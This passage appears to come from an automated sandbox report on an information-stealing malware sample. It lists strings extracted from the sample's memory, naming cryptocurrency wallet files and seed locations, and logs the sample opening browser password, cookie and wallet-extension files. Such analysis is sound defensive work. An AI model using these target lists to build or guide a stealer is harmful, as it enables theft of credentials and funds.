Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2779347504.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
